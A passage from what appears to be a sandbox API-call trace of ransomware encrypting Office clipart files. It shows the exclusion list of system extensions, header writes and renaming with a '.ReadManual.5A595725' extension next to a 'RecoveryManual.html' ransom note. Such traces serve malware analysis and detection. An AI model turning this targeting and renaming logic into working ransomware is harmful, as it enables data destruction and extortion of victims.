dwNumberOfBytesToMap=0xaf4) returned 0x2f0000 [0271.136] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.136] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39180475143) returned 1 [0271.136] CloseHandle (hObject=0x184) returned 1 [0271.136] SetSecurityInfo () returned 0x57 [0271.136] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.136] CloseHandle (hObject=0x194) returned 1 [0271.136] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c9b200, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c9b200, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5aa4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00468_.WMF", cAlternateFileName="")) returned 1 [0271.136] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00468_.WMF" | out: lpString1="PE00468_.WMF") returned="PE00468_.WMF" [0271.136] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.136] StrStrIW (lpFirst="PE00468_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.136] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.136] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.136] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.136] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.137] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.137] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.137] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.137] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.137] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.137] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.137] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.137] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.137] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.137] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.137] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" [0271.137] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF.ReadManual.5A595725" [0271.137] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF.ReadManual.5A595725") returned 87 [0271.137] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39180566552) returned 1 [0271.137] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf")) returned 0x20 [0271.137] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.137] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=23204) returned 1 [0271.137] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5aa4, lpName=0x0) returned 0x184 [0271.138] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.138] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.138] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.140] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.140] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5aa4) returned 0x2f0000 [0271.141] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.141] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39180952907) returned 1 [0271.141] CloseHandle (hObject=0x184) returned 1 [0271.141] SetSecurityInfo () returned 0x57 [0271.141] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.141] CloseHandle (hObject=0x194) returned 1 [0271.141] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d320700, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d320700, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x1cf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00478_.WMF", cAlternateFileName="")) returned 1 [0271.141] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00478_.WMF" | out: lpString1="PE00478_.WMF") returned="PE00478_.WMF" [0271.141] lstrcmpiW (lpString1="PE00478_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.141] StrStrIW (lpFirst="PE00478_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.141] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.141] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.141] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.141] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.141] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.141] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.141] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.141] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.141] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.141] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.141] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.141] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.142] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.142] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.142] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" [0271.142] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF.ReadManual.5A595725" [0271.142] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF.ReadManual.5A595725") returned 87 [0271.142] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39181042951) returned 1 [0271.142] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf")) returned 0x20 [0271.142] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.143] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7416) returned 1 [0271.143] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1cf8, lpName=0x0) returned 0x184 [0271.143] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.144] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.144] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.145] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.146] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1cf8) returned 0x2f0000 [0271.146] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.146] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39181466715) returned 1 [0271.146] CloseHandle (hObject=0x184) returned 1 [0271.146] SetSecurityInfo () returned 0x57 [0271.146] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.146] CloseHandle (hObject=0x194) returned 1 [0271.146] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00485_.WMF", cAlternateFileName="")) returned 1 [0271.146] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00485_.WMF" | out: lpString1="PE00485_.WMF") returned="PE00485_.WMF" [0271.146] lstrcmpiW (lpString1="PE00485_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.146] StrStrIW (lpFirst="PE00485_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.146] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.146] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.146] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.146] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.146] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.146] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.147] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.147] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.147] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.147] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.147] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.147] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.147] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.147] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.147] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" [0271.147] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF.ReadManual.5A595725" [0271.147] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF.ReadManual.5A595725") returned 87 [0271.147] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39181558131) returned 1 [0271.147] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf")) returned 0x20 [0271.147] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.147] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16676) returned 1 [0271.147] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4124, lpName=0x0) returned 0x184 [0271.148] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.148] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.148] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.150] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.150] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4124) returned 0x2f0000 [0271.150] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.150] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39181923521) returned 1 [0271.151] CloseHandle (hObject=0x184) returned 1 [0271.151] SetSecurityInfo () returned 0x57 [0271.151] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.151] CloseHandle (hObject=0x194) returned 1 [0271.151] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d627000, ftCreationTime.dwHighDateTime=0x1bd98a5, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d627000, ftLastWriteTime.dwHighDateTime=0x1bd98a5, nFileSizeHigh=0x0, nFileSizeLow=0x1402c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00489_.WMF", cAlternateFileName="")) returned 1 [0271.151] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00489_.WMF" | out: lpString1="PE00489_.WMF") returned="PE00489_.WMF" [0271.151] lstrcmpiW (lpString1="PE00489_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.151] StrStrIW (lpFirst="PE00489_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.151] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.151] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.151] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.151] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.151] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.151] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.151] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.151] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.151] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.151] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.151] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.151] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.151] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.151] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.151] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" [0271.151] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF.ReadManual.5A595725" [0271.151] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF.ReadManual.5A595725") returned 87 [0271.151] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39182015833) returned 1 [0271.151] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf")) returned 0x20 [0271.153] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.153] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=81964) returned 1 [0271.153] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1402c, lpName=0x0) returned 0x184 [0271.153] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.159] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.159] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.161] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.161] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1402c) returned 0x1de0000 [0271.163] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0271.163] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39183213500) returned 1 [0271.163] CloseHandle (hObject=0x184) returned 1 [0271.163] SetSecurityInfo () returned 0x57 [0271.164] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.164] CloseHandle (hObject=0x194) returned 1 [0271.164] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1ee4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00531_.WMF", cAlternateFileName="")) returned 1 [0271.164] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00531_.WMF" | out: lpString1="PE00531_.WMF") returned="PE00531_.WMF" [0271.164] lstrcmpiW (lpString1="PE00531_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.164] StrStrIW (lpFirst="PE00531_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.164] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.164] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.164] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.164] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.164] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.164] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.164] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.164] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.164] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.164] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.164] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.164] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.164] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.164] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.164] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" [0271.164] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF.ReadManual.5A595725" [0271.164] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF.ReadManual.5A595725") returned 87 [0271.164] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39183303854) returned 1 [0271.164] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf")) returned 0x20 [0271.176] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.177] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7908) returned 1 [0271.177] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ee4, lpName=0x0) returned 0x184 [0271.177] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.177] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.178] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.179] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.179] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ee4) returned 0x2f0000 [0271.179] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.180] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39184828642) returned 1 [0271.180] CloseHandle (hObject=0x184) returned 1 [0271.180] SetSecurityInfo () returned 0x57 [0271.180] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.180] CloseHandle (hObject=0x194) returned 1 [0271.180] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33585700, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33585700, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x8da8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00542_.WMF", cAlternateFileName="")) returned 1 [0271.180] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00542_.WMF" | out: lpString1="PE00542_.WMF") returned="PE00542_.WMF" [0271.180] lstrcmpiW (lpString1="PE00542_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.180] StrStrIW (lpFirst="PE00542_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.180] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.180] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.180] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.180] StrCmpIW 